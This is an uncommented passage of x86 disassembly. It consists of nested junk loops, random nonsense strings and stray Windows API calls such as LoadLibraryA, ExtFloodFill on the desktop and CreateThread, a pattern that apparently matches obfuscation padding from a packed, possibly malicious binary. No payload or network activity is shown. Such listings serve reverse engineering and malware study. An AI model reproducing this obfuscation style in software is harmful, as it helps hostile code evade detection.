call fcn.0047c836
jmp 0x45f666
jmp 0x45f644
jmp 0x45f61e
and dword [ebp - 0x320], 0
jmp 0x45f6d3
mov eax, dword [ebp - 0x320]
inc eax
mov dword [ebp - 0x320], eax
cmp dword [ebp - 0x320], 0x2fa1
jge 0x45f881
mov dword [ebp - 0x580], 0x27f8
mov dword [ebp - 0x944], str.abbnvfqll_gupoitrn_kjiveizw_mgsf_bwlcr_qkganbbp_ibeclztt_xav_jwttoslw_vdo_bevrknpij_oysvtb
cmp dword [ebp - 0x580], 0x29ed
jle 0x45f7e5
and dword [ebp - 0x200], 0
jmp 0x45f71d
mov eax, dword [ebp - 0x200]
inc eax
mov dword [ebp - 0x200], eax
cmp dword [ebp - 0x200], 0x3e48
jge 0x45f7e5
and dword [ebp - 0x318], 0
jmp 0x45f743
mov eax, dword [ebp - 0x318]
inc eax
mov dword [ebp - 0x318], eax
cmp dword [ebp - 0x318], 0x3eae
jge 0x45f7e0
and dword [ebp - 0x208], 0
jmp 0x45f769
mov eax, dword [ebp - 0x208]
inc eax
mov dword [ebp - 0x208], eax
cmp dword [ebp - 0x208], 0x3508
jge 0x45f7db
and dword [ebp - 0x3e8], 0
jmp 0x45f78b
mov eax, dword [ebp - 0x3e8]
inc eax
mov dword [ebp - 0x3e8], eax
cmp dword [ebp - 0x3e8], 0x740c
jge 0x45f7d9
mov eax, dword [ebp - 0x200]
imul eax, dword [ebp - 0x318]
imul eax, dword [ebp - 0x208]
cdq
idiv dword [ebp - 0x3e8]
mov eax, edx
cdq
mov dword [ebp - 0x640], eax
mov dword [ebp - 0x63c], edx
push dword [ebp - 0x63c]
push dword [ebp - 0x640]
mov ecx, 0xab4140
call fcn.0047c836
jmp 0x45f77e
jmp 0x45f75c
jmp 0x45f736
jmp 0x45f710
mov eax, dword [ebp - 0x210]
cdq
idiv dword [ebp - 0x320]
mov eax, edx
cdq
mov dword [ebp - 0x64c], eax
mov dword [ebp - 0x648], edx
mov dword [ebp - 4], 0x4c
cmp dword [ebp - 0x580], 0x2524
jge 0x45f824
mov edx, dword [ebp - 0x944]
mov ecx, 0xab4140
call fcn.0047dce4
jmp 0x45f840
or dword [ebp - 4], 0xffffffff
jmp 0x45f84a
push dword [ebp - 0x648]
push dword [ebp - 0x64c]
lea ecx, [ebp - 0xa24]
call fcn.004530f8
pop ecx
pop ecx
mov ecx, eax
call fcn.004026c4
push eax
call fcn.004814e5
pop ecx
lea ecx, [ebp - 0xa24]
call fcn.004024b1
jmp 0x45f6c6
mov dword [ebp - 4], 0x4e
cmp dword [ebp - 0x4d0], 0x505d
jge 0x45f8a4
mov edx, dword [ebp - 0x680]
mov ecx, 0xab4140
call fcn.0047dce4
jmp 0x45f8c0
or dword [ebp - 4], 0xffffffff
jmp 0x45f8ca
jmp 0x45f5d4
mov dword [ebp - 4], 0x50
cmp dword [ebp - 0x530], 0x6c56
jge 0x45f8f2
mov edx, dword [ebp - 0x8d4]
mov ecx, 0xab4140
call fcn.0047dce4
jmp 0x45f90e
or dword [ebp - 4], 0xffffffff
jmp 0x45f918
mov dword [ebp - 0x4d8], 0x6df0
mov dword [ebp - 0x68c], str.azohnco_xafkb_vvfqg_zeukhcqt_feq_eluvju_nzhkyqosq_rxjpjvyg_fturuf
cmp dword [ebp - 0x4d8], 0x71c5
jle 0x45f9e6
and dword [ebp - 0x220], 0
jmp 0x45f952
mov eax, dword [ebp - 0x220]
inc eax
mov dword [ebp - 0x220], eax
cmp dword [ebp - 0x220], 0x6774
jge 0x45f9e6
and dword [ebp - 0x218], 0
jmp 0x45f978
mov eax, dword [ebp - 0x218]
inc eax
mov dword [ebp - 0x218], eax
cmp dword [ebp - 0x218], 0x47e2
jge 0x45f9e1
and dword [ebp - 0x3a8], 0
jmp 0x45f99a
mov eax, dword [ebp - 0x3a8]
inc eax
mov dword [ebp - 0x3a8], eax
cmp dword [ebp - 0x3a8], 0xd35
jge 0x45f9df
mov eax, dword [ebp - 0x218]
mov ecx, dword [ebp - 0x3a8]
shl eax, cl
or eax, dword [ebp - 0x220]
cdq
mov dword [ebp - 0x658], eax
mov dword [ebp - 0x654], edx
push dword [ebp - 0x654]
push dword [ebp - 0x658]
mov ecx, 0xab4140
call fcn.0047c836
jmp 0x45f98d
jmp 0x45f96b
jmp 0x45f945
movsx eax, word [ebp - 0x14]
cmp eax, 1
jne 0x45f9fa
mov eax, dword [ebp + 8]
inc eax
push eax
call fcn.00453197
pop ecx
mov dword [ebp - 4], 0x52
cmp dword [ebp - 0x4d8], 0x6cfb
jge 0x45fa1d
mov edx, dword [ebp - 0x68c]
mov ecx, 0xab4140
call fcn.0047dce4
jmp 0x45fa39
or dword [ebp - 4], 0xffffffff
jmp 0x45fa43
mov dword [ebp - 4], 0x54
mov dword [ebp - 0x434], 0x22ff
mov dword [ebp - 0x8dc], str.ieiukb_erjf_lcix
cmp dword [ebp - 0x434], 0x23e4
jle 0x45fae0
and dword [ebp - 0x18], 0
jmp 0x45fa77
mov eax, dword [ebp - 0x18]
inc eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0x7ec3
jge 0x45fae0
and dword [ebp - 0x1c], 0
jmp 0x45fa8d
mov eax, dword [ebp - 0x1c]
inc eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0x76d6
jge 0x45fade
and dword [ebp - 0x24], 0
jmp 0x45faa3
mov eax, dword [ebp - 0x24]
inc eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0x7a89
jge 0x45fadc
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x1c]
shl eax, cl
xor eax, dword [ebp - 0x24]
cdq
mov dword [ebp - 0x664], eax
mov dword [ebp - 0x660], edx
push dword [ebp - 0x660]
push dword [ebp - 0x664]
mov ecx, 0xab4140
call fcn.0047c836
jmp 0x45fa9c
jmp 0x45fa86
jmp 0x45fa70
cmp dword [ebp - 0x560], 0x2954
jge 0x45fbc1
mov dword [ebp - 0x4e0], 0x7eb0
mov dword [ebp - 0x698], str.qusnqbgi_kkysmajs_lattdnwuk_bbdbpn_wfawnxxu_kgsyiw_kiosemrt_crss_jajjgf_wuvxly_iofyq_djrv_ebbn
cmp dword [ebp - 0x4e0], 0x7ffa
jle 0x45fb69
and dword [ebp - 0x2c], 0
jmp 0x45fb1d
mov eax, dword [ebp - 0x2c]
inc eax
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 0x928
jge 0x45fb69
and dword [ebp - 0x34], 0
jmp 0x45fb33
mov eax, dword [ebp - 0x34]
inc eax
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], 0x54d7
jge 0x45fb67
mov eax, dword [ebp - 0x2c]
add eax, dword [ebp - 0x34]
cdq
mov dword [ebp - 0x670], eax
mov dword [ebp - 0x66c], edx
push dword [ebp - 0x66c]
push dword [ebp - 0x670]
mov ecx, 0xab4140
call fcn.0047c836
jmp 0x45fb2c
jmp 0x45fb16
push dword [ebp - 0x998]
call fcn.004814e5
pop ecx
mov byte [ebp - 4], 0x55
cmp dword [ebp - 0x4e0], 0x7b42
jge 0x45fb95
mov edx, dword [ebp - 0x698]
mov ecx, 0xab4140
call fcn.0047dce4
jmp 0x45fbb1
mov dword [ebp - 4], 0x54
jmp 0x45fbc1
mov byte [ebp - 4], 0x57
cmp dword [ebp - 0x434], 0x211c
jge 0x45fbe1
mov edx, dword [ebp - 0x8dc]
mov ecx, 0xab4140
call fcn.0047dce4
jmp 0x45fbfd
mov dword [ebp - 4], 0x54
jmp 0x45fc0d
jmp 0x45fd5a
or dword [ebp - 4], 0xffffffff
jmp 0x45fd64
mov dword [ebp - 0x474], 0x6c8d
mov dword [ebp - 0x444], 0x3686
mov dword [ebp - 0x950], str.wmowizc_ovxy_rcr_pmqbjtke_qohesxrlk_sxw_ghzqti_cympxuh_ian_htuw_kddnygdpa_xvf
cmp dword [ebp - 0x444], 0x397d
jle 0x45fe05
and dword [ebp - 0x6c], 0
jmp 0x45fd9b
mov eax, dword [ebp - 0x6c]
inc eax
mov dword [ebp - 0x6c], eax
cmp dword [ebp - 0x6c], 0x7b5
jge 0x45fe05
and dword [ebp - 0x5c], 0
jmp 0x45fdb1
mov eax, dword [ebp - 0x5c]
inc eax
mov dword [ebp - 0x5c], eax
cmp dword [ebp - 0x5c], 0x680e
jge 0x45fe03
and dword [ebp - 0x64], 0
jmp 0x45fdc7
mov eax, dword [ebp - 0x64]
inc eax
mov dword [ebp - 0x64], eax
cmp dword [ebp - 0x64], 0x76ba
jge 0x45fe01
mov eax, dword [ebp - 0x5c]
cdq
idiv dword [ebp - 0x64]
add edx, dword [ebp - 0x6c]
mov eax, edx
cdq
mov dword [ebp - 0x688], eax
mov dword [ebp - 0x684], edx
push dword [ebp - 0x684]
push dword [ebp - 0x688]
mov ecx, 0xab4140
call fcn.0047c836
jmp 0x45fdc0
jmp 0x45fdaa
jmp 0x45fd94
mov dword [ebp - 0x8f0], str.nvlak_kba_hvz_wlpff_efeuhurns_iepaazff_acwpruat_zdmztjx_tewkq_ilc_rztgze
mov dword [ebp - 4], 0x5c
cmp dword [ebp - 0x444], 0x3589
jge 0x45fe32
mov edx, dword [ebp - 0x950]
mov ecx, 0xab4140
call fcn.0047dce4
jmp 0x45fe4e
or dword [ebp - 4], 0xffffffff
jmp 0x45fe58
mov dword [ebp - 0x46c], 0x5241
mov dword [ebp - 0x6c8], str.qqkg_thubjb_jxf_lawa
cmp dword [ebp - 0x46c], 0x54b3
jle 0x45ff09
and dword [ebp - 0x84], 0
jmp 0x45fe92
mov eax, dword [ebp - 0x84]
inc eax
mov dword [ebp - 0x84], eax
cmp dword [ebp - 0x84], 0x3ef4
jge 0x45ff01
and dword [ebp - 0x74], 0
jmp 0x45feab
mov eax, dword [ebp - 0x74]
inc eax
mov dword [ebp - 0x74], eax
cmp dword [ebp - 0x74], 0x379
jge 0x45feff
and dword [ebp - 0x7c], 0
jmp 0x45fec1
mov eax, dword [ebp - 0x7c]
inc eax
mov dword [ebp - 0x7c], eax
cmp dword [ebp - 0x7c], 0x59fa
jge 0x45fefd
mov ecx, dword [ebp - 0x74]
sub ecx, dword [ebp - 0x7c]
mov eax, dword [ebp - 0x84]
shl eax, cl
cdq
mov dword [ebp - 0x694], eax
mov dword [ebp - 0x690], edx
push dword [ebp - 0x690]
push dword [ebp - 0x694]
mov ecx, 0xab4140
call fcn.0047c836
jmp 0x45feba
jmp 0x45fea4
jmp 0x45fe85
push 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
cmp dword [ebp - 0x474], 0x6df1
jle 0x4603f8
and dword [ebp - 0xc4], 0
jmp 0x45ff2f
mov eax, dword [ebp - 0xc4]
inc eax
mov dword [ebp - 0xc4], eax
cmp dword [ebp - 0xc4], 0x5997
jge 0x4603f8
mov dword [ebp - 0x464], 0x2b17
mov dword [ebp - 0x988], str.ghnhmu_mxrlmtgq_ondh_inl_fjdjwb_tzet_xyp_ytef_ohsdfxex_mztly_lfzcn
cmp dword [ebp - 0x464], 0x2e0f
jle 0x45ffd8
and dword [ebp - 0x8c], 0
jmp 0x45ff75
mov eax, dword [ebp - 0x8c]
inc eax
mov dword [ebp - 0x8c], eax
cmp dword [ebp - 0x8c], 0x14b0
jge 0x45ffd8
and dword [ebp - 0x94], 0
jmp 0x45ff97
mov eax, dword [ebp - 0x94]
inc eax
mov dword [ebp - 0x94], eax
cmp dword [ebp - 0x94], 0x4c0d
jge 0x45ffd6
mov eax, dword [ebp - 0x8c]
mov ecx, dword [ebp - 0x94]
sar eax, cl
cdq
mov dword [ebp - 0x6a0], eax
mov dword [ebp - 0x69c], edx
push dword [ebp - 0x69c]
push dword [ebp - 0x6a0]
mov ecx, 0xab4140
call fcn.0047c836
jmp 0x45ff8a
jmp 0x45ff68
and dword [ebp - 0xcc], 0
jmp 0x45ffee
mov eax, dword [ebp - 0xcc]
inc eax
mov dword [ebp - 0xcc], eax
cmp dword [ebp - 0xcc], 0xa69
jge 0x4603aa
mov dword [ebp - 0x45c], 0x2a1f
mov dword [ebp - 0x6bc], str.matdqdr_flb_embqw_gilrwos_tbupdgb_wgfup_ifxyws_ckjpw_ognhcgf_fvespob_sfqnzql_nlrhpdugo_lyag_yevsw
cmp dword [ebp - 0x45c], 0x2ab9
jle 0x4600dd
and dword [ebp - 0x9c], 0
jmp 0x460038
mov eax, dword [ebp - 0x9c]
inc eax
mov dword [ebp - 0x9c], eax
cmp dword [ebp - 0x9c], 0x45b2
jge 0x4600b8
and dword [ebp - 0xa4], 0
jmp 0x46005a
mov eax, dword [ebp - 0xa4]
inc eax
mov dword [ebp - 0xa4], eax
cmp dword [ebp - 0xa4], 0x48b
jge 0x4600b3
mov eax, dword [ebp - 0x9c]
xor eax, dword [ebp - 0xa4]
cdq
mov dword [ebp - 0x6ac], eax
mov dword [ebp - 0x6a8], edx
push dword [ebp - 0x6a8]
push dword [ebp - 0x6ac]
lea ecx, [ebp - 0xa54]
call fcn.004530f8
pop ecx
pop ecx
mov ecx, eax
call fcn.004026c4
push eax
call fcn.004814e5
pop ecx
lea ecx, [ebp - 0xa54]
call fcn.004024b1
jmp 0x46004d
jmp 0x46002b
push 0x1a48
push 0
push 0x1f23
push 0xca0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_ExtFloodFill]
and dword [ebp - 0xd4], 0
jmp 0x4600f3
mov eax, dword [ebp - 0xd4]
inc eax
mov dword [ebp - 0xd4], eax
cmp dword [ebp - 0xd4], 0x2333
jge 0x460360
mov dword [ebp - 0x44c], 0x230d
mov dword [ebp - 0x6b0], str.bpjcdj_xfvi_eyuhuj_pcvmbfjz_ypwpd_ittwphz_weqthz_owxhtsa_btmqsdg
cmp dword [ebp - 0x44c], 0x26c8
jle 0x4601d7
and dword [ebp - 0xac], 0
jmp 0x46013d
mov eax, dword [ebp - 0xac]
inc eax
mov dword [ebp - 0xac], eax
cmp dword [ebp - 0xac], 0x6c66
jge 0x4601d1
and dword [ebp - 0xb4], 0
jmp 0x460163
mov eax, dword [ebp - 0xb4]
inc eax
mov dword [ebp - 0xb4], eax
cmp dword [ebp - 0xb4], 0x4cce
jge 0x4601cc
and dword [ebp - 0xbc], 0
jmp 0x460185
mov eax, dword [ebp - 0xbc]
inc eax
mov dword [ebp - 0xbc], eax
cmp dword [ebp - 0xbc], 0x7ca3
jge 0x4601ca
mov eax, dword [ebp - 0xac]
sub eax, dword [ebp - 0xb4]
mov ecx, dword [ebp - 0xbc]
sar eax, cl
cdq
mov dword [ebp - 0x6b8], eax
mov dword [ebp - 0x6b4], edx
push dword [ebp - 0x6b4]
push dword [ebp - 0x6b8]
mov ecx, 0xab4140
call fcn.0047c836
jmp 0x460178
jmp 0x460156
jmp 0x460130
call dword [sym.imp.KERNEL32.dll_GetUserDefaultUILanguage]
mov eax, dword [ebp - 0xc4]
cdq
idiv dword [ebp - 0xcc]
mov ecx, dword [ebp - 0xd4]
sar edx, cl
mov eax, edx
cdq
mov dword [ebp - 0x6d0], eax
mov dword [ebp - 0x6cc], edx
mov dword [ebp - 4], 0x5e
cmp dword [ebp - 0x44c], 0x206f
jge 0x46021e
mov edx, dword [ebp - 0x6b0]
mov ecx, 0xab4140
call fcn.0047dce4
jmp 0x46023a
or dword [ebp - 4], 0xffffffff
jmp 0x460244
mov dword [ebp - 0x454], 0x4d4b
mov dword [ebp - 0x8e4], str.avyqdgsw_vrb_uaw_auwiuelsc_lgevzyvuk
cmp dword [ebp - 0x454], 0x4dc7
jle 0x460300
and dword [ebp - 0xdc], 0
jmp 0x46027e
mov eax, dword [ebp - 0xdc]
inc eax
mov dword [ebp - 0xdc], eax
cmp dword [ebp - 0xdc], 0x7d9
jge 0x460300
and dword [ebp - 0xe4], 0
jmp 0x4602a0
mov eax, dword [ebp - 0xe4]
inc eax
mov dword [ebp - 0xe4], eax
cmp dword [ebp - 0xe4], 0x5c45
jge 0x4602fb
mov eax, dword [ebp - 0xdc]
mov ecx, dword [ebp - 0xe4]
shl eax, cl
cdq
mov dword [ebp - 0x6c4], eax
mov dword [ebp - 0x6c0], edx
push dword [ebp - 0x6c0]
push dword [ebp - 0x6c4]
lea ecx, [ebp - 0xa84]
call fcn.004530f8
pop ecx
pop ecx
mov ecx, eax
call fcn.004026c4
push eax
call fcn.004814e5
pop ecx
lea ecx, [ebp - 0xa84]
call fcn.004024b1
jmp 0x460293
jmp 0x460271
push dword [ebp - 0x6cc]
push dword [ebp - 0x6d0]
mov ecx, 0xab4140
call fcn.0047c836
mov dword [ebp - 4], 0x60
cmp dword [ebp - 0x454], 0x4ba2
jge 0x460335
push dword [ebp - 0x8e4]
call fcn.004814e5
pop ecx
jmp 0x460351
or dword [ebp - 4], 0xffffffff
jmp 0x46035b
jmp 0x4600e6
mov dword [ebp - 4], 0x62
cmp dword [ebp - 0x45c], 0x29fe
jge 0x46037f
push dword [ebp - 0x6bc]
call fcn.004814e5
pop ecx
jmp 0x46039b
or dword [ebp - 4], 0xffffffff
jmp 0x4603a5
jmp 0x45ffe1
mov dword [ebp - 4], 0x64
cmp dword [ebp - 0x464], 0x2a50
jge 0x4603cd
mov edx, dword [ebp - 0x988]
mov ecx, 0xab4140
call fcn.0047dce4
jmp 0x4603e9
or dword [ebp - 4], 0xffffffff
jmp 0x4603f3
jmp 0x45ff22
mov dword [ebp - 4], 0x66
cmp dword [ebp - 0x46c], 0x500e
jge 0x46041b
mov edx, dword [ebp - 0x6c8]
mov ecx, 0xab4140
call fcn.0047dce4
jmp 0x460437
or dword [ebp - 4], 0xffffffff
jmp 0x460441
movsx eax, word [ebp - 0x14]
cmp eax, 2
jne 0x460455
mov eax, dword [ebp + 8]
inc eax
push eax
call fcn.00454e9f
pop ecx
mov dword [ebp - 4], 0x68
mov dword [ebp - 0x484], 0x3e26
mov dword [ebp - 0x95c], str.prpioya_rkhgk_efidmdd_zffq
cmp dword [ebp - 0x484], 0x4036
jle 0x4604f3
and dword [ebp - 0xec], 0
jmp 0x460492
mov eax, dword [ebp - 0xec]
inc eax
mov dword [ebp - 0xec], eax
cmp dword [ebp - 0xec], 0x6b17
jge 0x4604f3
and dword [ebp - 0xf4], 0
jmp 0x4604b4
mov eax, dword [ebp - 0xf4]
inc eax
mov dword [ebp - 0xf4], eax
cmp dword [ebp - 0xf4], 0x5256
jge 0x4604f1
mov eax, dword [ebp - 0xec]
sub eax, dword [ebp - 0xf4]
cdq
mov dword [ebp - 0x6dc], eax
mov dword [ebp - 0x6d8], edx
push dword [ebp - 0x6d8]
push dword [ebp - 0x6dc]
mov ecx, 0xab4140
call fcn.0047c836
jmp 0x4604a7
jmp 0x460485
cmp dword [ebp - 0x474], 0x68d1
jge 0x460646
mov dword [ebp - 0x47c], 0x7cde
mov dword [ebp - 0x6d4], str.pkwcbxbe_wqrrp_ilgurdyzh_ofdhq_fgi_kfhnopqb_cwkmqang_qulensdr_ctmt_kiygv_oejhxquzt_tib_jylbohaz
cmp dword [ebp - 0x47c], 0x7f52
jle 0x4605ee
and dword [ebp - 0x10c], 0
jmp 0x46053d
mov eax, dword [ebp - 0x10c]
inc eax
mov dword [ebp - 0x10c], eax
cmp dword [ebp - 0x10c], 0x751
jge 0x4605ee
and dword [ebp - 0xfc], 0
jmp 0x460563
mov eax, dword [ebp - 0xfc]
inc eax
mov dword [ebp - 0xfc], eax
cmp dword [ebp - 0xfc], 0x2838
jge 0x4605e9
and dword [ebp - 0x104], 0
jmp 0x460585
mov eax, dword [ebp - 0x104]
inc eax
mov dword [ebp - 0x104], eax
cmp dword [ebp - 0x104], 0x4cda
jge 0x4605e4
mov eax, dword [ebp - 0xfc]
sub eax, dword [ebp - 0x104]
or eax, dword [ebp - 0x10c]
cdq
mov dword [ebp - 0x6e8], eax
mov dword [ebp - 0x6e4], edx
push dword [ebp - 0x6e4]
push dword [ebp - 0x6e8]
lea ecx, [ebp - 0xab4]
call fcn.004530f8
pop ecx
pop ecx
mov ecx, eax
call fcn.004026c4
push eax
call fcn.004814e5
pop ecx
lea ecx, [ebp - 0xab4]
call fcn.004024b1
jmp 0x460578
jmp 0x460556
jmp 0x460530
mov edx, dword [ebp - 0x8f0]
mov ecx, 0xab4140
call fcn.0047dce4
mov byte [ebp - 4], 0x69
cmp dword [ebp - 0x47c], 0x7b0a
jge 0x46061a
push dword [ebp - 0x6d4]
call fcn.004814e5
pop ecx
jmp 0x460636
mov dword [ebp - 4], 0x68
jmp 0x460646
mov byte [ebp - 4], 0x6b
cmp dword [ebp - 0x484], 0x3d4b
jge 0x460666
mov edx, dword [ebp - 0x95c]
mov ecx, 0xab4140
call fcn.0047dce4
jmp 0x460682
mov dword [ebp - 4], 0x68
jmp 0x460692
jmp 0x4606ae
or dword [ebp - 4], 0xffffffff
jmp 0x4606b8
mov dword [ebp - 0x494], 0x5596
mov dword [ebp - 0x8fc], str.zlad_cgyvokkd_bhgd_xqiza
cmp dword [ebp - 0x494], 0x573f
jle 0x4607f0
and dword [ebp - 0x12c], 0
jmp 0x4606f2
mov eax, dword [ebp - 0x12c]
inc eax
mov dword [ebp - 0x12c], eax
cmp dword [ebp - 0x12c], 0x7c1
jge 0x4607d8
and dword [ebp - 0x124], 0
jmp 0x460718
mov eax, dword [ebp - 0x124]
inc eax
mov dword [ebp - 0x124], eax
cmp dword [ebp - 0x124], 0x7b54
jge 0x4607d3
and dword [ebp - 0x114], 0
jmp 0x46073e
mov eax, dword [ebp - 0x114]
inc eax
mov dword [ebp - 0x114], eax
cmp dword [ebp - 0x114], 0x4c9b
jge 0x4607ce
and dword [ebp - 0x11c], 0
jmp 0x460764
mov eax, dword [ebp - 0x11c]
inc eax
mov dword [ebp - 0x11c], eax
cmp dword [ebp - 0x11c], 0x3ab3
jge 0x4607c9
mov eax, dword [ebp - 0x114]
add eax, dword [ebp - 0x11c]
and eax, dword [ebp - 0x124]
xor eax, dword [ebp - 0x12c]
cdq
mov dword [ebp - 0x6f4], eax
mov dword [ebp - 0x6f0], edx
push dword [ebp - 0x6f0]
push dword [ebp - 0x6f4]
lea ecx, [ebp - 0xae4]
call fcn.004530f8
pop ecx
pop ecx
mov ecx, eax
call fcn.004026c4
push eax
call fcn.004814e5
pop ecx
lea ecx, [ebp - 0xae4]
call fcn.004024b1
jmp 0x460757
jmp 0x460731
jmp 0x46070b
jmp 0x4606e5
push 0
push 0xd80
push 0
push 0
push 0xdba
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
movsx eax, word [ebp - 0x14]
cmp eax, 3
jne 0x460970
mov dword [ebp - 0x48c], 0x2033
mov dword [ebp - 0x6e0], str.adrm_ouennk_wgwbm_iowlfsw_mqot_qpq_cfrxulcw_udlffi_clshwbitg_fshbfc_kbpmqyy_kcglnpni_mnisc
cmp dword [ebp - 0x48c], 0x227b
jle 0x460920
and dword [ebp - 0x134], 0
jmp 0x460837
mov eax, dword [ebp - 0x134]
inc eax
mov dword [ebp - 0x134], eax
cmp dword [ebp - 0x134], 0x6950
jge 0x460920
and dword [ebp - 0x13c], 0
jmp 0x46085d
mov eax, dword [ebp - 0x13c]
inc eax
mov dword [ebp - 0x13c], eax
cmp dword [ebp - 0x13c], 0x4314
jge 0x46091b
and dword [ebp - 0x144], 0
jmp 0x460883
mov eax, dword [ebp - 0x144]
inc eax
mov dword [ebp - 0x144], eax
cmp dword [ebp - 0x144], 0xa0e
jge 0x460916
and dword [ebp - 0x14c], 0
jmp 0x4608a9
mov eax, dword [ebp - 0x14c]
inc eax
mov dword [ebp - 0x14c], eax
cmp dword [ebp - 0x14c], 0x363e
jge 0x460911
mov eax, dword [ebp - 0x134]
cdq
idiv dword [ebp - 0x13c]
sub edx, dword [ebp - 0x144]
or edx, dword [ebp - 0x14c]
mov eax, edx
cdq
mov dword [ebp - 0x700], eax
mov dword [ebp - 0x6fc], edx
push dword [ebp - 0x6fc]
push dword [ebp - 0x700]
lea ecx, [ebp - 0xb14]
call fcn.004530f8
pop ecx
pop ecx
mov ecx, eax
call fcn.004026c4
push eax
call fcn.004814e5
pop ecx
lea ecx, [ebp - 0xb14]
call fcn.004024b1
jmp 0x46089c
jmp 0x460876
jmp 0x460850
jmp 0x46082a
mov eax, dword [ebp + 8]
inc eax
push eax
call fcn.00456012
pop ecx
mov dword [ebp - 4], 0x6e
cmp dword [ebp - 0x48c], 0x1ebc
jge 0x46094a
push dword [ebp - 0x6e0]
call fcn.004814e5
pop ecx
jmp 0x460966
or dword [ebp - 4], 0xffffffff
jmp 0x460970
mov dword [ebp - 4], 0x70
cmp dword [ebp - 0x494], 0x5524
jge 0x46098f
push dword [ebp - 0x8fc]
call fcn.004814e5
pop ecx
jmp 0x4609ab
or dword [ebp - 4], 0xffffffff
jmp 0x4609b5
mov dword [ebp - 0x4ec], 0x4d75
mov dword [ebp - 0x728], str.nzwr_nindebtwk_tlz_jbmdxm_muvljjan_kjkujynl_jcs_sby_xzyctpgf
cmp dword [ebp - 0x4ec], 0x4ecd
jle 0x460aa0
and dword [ebp - 0x154], 0
jmp 0x4609ef
mov eax, dword [ebp - 0x154]
inc eax
mov dword [ebp - 0x154], eax
cmp dword [ebp - 0x154], 0x535a
jge 0x460aa0
and dword [ebp - 0x15c], 0
jmp 0x460a15
mov eax, dword [ebp - 0x15c]
inc eax
mov dword [ebp - 0x15c], eax
cmp dword [ebp - 0x15c], 0x280
jge 0x460a9b
and dword [ebp - 0x164], 0
jmp 0x460a37
mov eax, dword [ebp - 0x164]
inc eax
mov dword [ebp - 0x164], eax
cmp dword [ebp - 0x164], 0x516a
jge 0x460a96
mov eax, dword [ebp - 0x154]
sub eax, dword [ebp - 0x15c]
and eax, dword [ebp - 0x164]
cdq
mov dword [ebp - 0x70c], eax
mov dword [ebp - 0x708], edx
push dword [ebp - 0x708]
push dword [ebp - 0x70c]
lea ecx, [ebp - 0xb44]
call fcn.004530f8
pop ecx
pop ecx
mov ecx, eax
call fcn.004026c4
push eax
call fcn.004814e5
pop ecx
lea ecx, [ebp - 0xb44]
call fcn.004024b1
jmp 0x460a2a
jmp 0x460a08
jmp 0x4609e2
movsx eax, word [ebp - 0x14]
cmp eax, 4
jne 0x46173e
mov dword [ebp - 0x49c], 0x58e5
mov dword [ebp - 0x6ec], str.kuwwb_gdkdlw_azbs_zviwoofp_bkbaajux_ixdwkqz_picnk_ncmwk_cquf_txaqiqli
cmp dword [ebp - 0x49c], 0x5c18
jle 0x460b44
and dword [ebp - 0x16c], 0
jmp 0x460ae3
mov eax, dword [ebp - 0x16c]
inc eax
mov dword [ebp - 0x16c], eax
cmp dword [ebp - 0x16c], 0x5a0b
jge 0x460b44
and dword [ebp - 0x174], 0
jmp 0x460b05
mov eax, dword [ebp - 0x174]
inc eax
mov dword [ebp - 0x174], eax
cmp dword [ebp - 0x174], 0x5dff
jge 0x460b42
mov eax, dword [ebp - 0x16c]
and eax, dword [ebp - 0x174]
cdq
mov dword [ebp - 0x718], eax
mov dword [ebp - 0x714], edx
push dword [ebp - 0x714]
push dword [ebp - 0x718]
mov ecx, 0xab4140
call fcn.0047c836
jmp 0x460af8
jmp 0x460ad6
mov dword [ebp - 0x4cc], 0x2b78
mov dword [ebp - 4], 0x72
cmp dword [ebp - 0x49c], 0x5706
jge 0x460b71
mov edx, dword [ebp - 0x6ec]
mov ecx, 0xab4140
call fcn.0047dce4
jmp 0x460b8d
or dword [ebp - 4], 0xffffffff
jmp 0x460b97
mov dword [ebp - 0x4a4], 0x4173
mov dword [ebp - 0x9a8], str.nfeb_rriv_yggqnek_gvptn_fbn_pjluhbjo_eoox_zxwdhz_jadt_tgxeuhec_sxhp
cmp dword [ebp - 0x4a4], 0x41bc
jle 0x460c87
and dword [ebp - 0x17c], 0
jmp 0x460bd1
mov eax, dword [ebp - 0x17c]
inc eax
mov dword [ebp - 0x17c], eax
cmp dword [ebp - 0x17c], 0x46a3
jge 0x460c87
and dword [ebp - 0x184], 0
jmp 0x460bf7
mov eax, dword [ebp - 0x184]
inc eax
mov dword [ebp - 0x184], eax
cmp dword [ebp - 0x184], 0x7ad8
jge 0x460c82
and dword [ebp - 0x18c], 0
jmp 0x460c19
mov eax, dword [ebp - 0x18c]
inc eax
mov dword [ebp - 0x18c], eax
cmp dword [ebp - 0x18c], 0x6b6e
jge 0x460c7d
mov eax, dword [ebp - 0x17c]
cdq
idiv dword [ebp - 0x184]
mov ecx, dword [ebp - 0x18c]
shl edx, cl
mov eax, edx
cdq
mov dword [ebp - 0x724], eax
mov dword [ebp - 0x720], edx
push dword [ebp - 0x720]
push dword [ebp - 0x724]
lea ecx, [ebp - 0xb74]
call fcn.004530f8
pop ecx
pop ecx
mov ecx, eax
call fcn.004026c4
push eax
call fcn.004814e5
pop ecx
lea ecx, [ebp - 0xb74]
call fcn.004024b1
jmp 0x460c0c
jmp 0x460bea
jmp 0x460bc4
mov dword [ebp - 0x710], str.gddlmpcm_eml_owvk_umigvwlez
mov dword [ebp - 4], 0x74
cmp dword [ebp - 0x4a4], 0x4004
jge 0x460cb0
push dword [ebp - 0x9a8]
call fcn.004814e5
pop ecx
jmp 0x460ccc
or dword [ebp - 4], 0xffffffff
jmp 0x460cd6
cmp dword [ebp - 0x4cc], 0x2eac
jle 0x461328
mov dword [ebp - 0x4c4], 0xf6a
mov dword [ebp - 0x968], str.fmxyun_cluvcjc_bouhnoe
cmp dword [ebp - 0x4c4], 0x1333
jle 0x460e0f
and dword [ebp - 0x194], 0
jmp 0x460d20
mov eax, dword [ebp - 0x194]
inc eax
mov dword [ebp - 0x194], eax
cmp dword [ebp - 0x194], 0x7481
jge 0x460e0f
and dword [ebp - 0x19c], 0
jmp 0x460d46
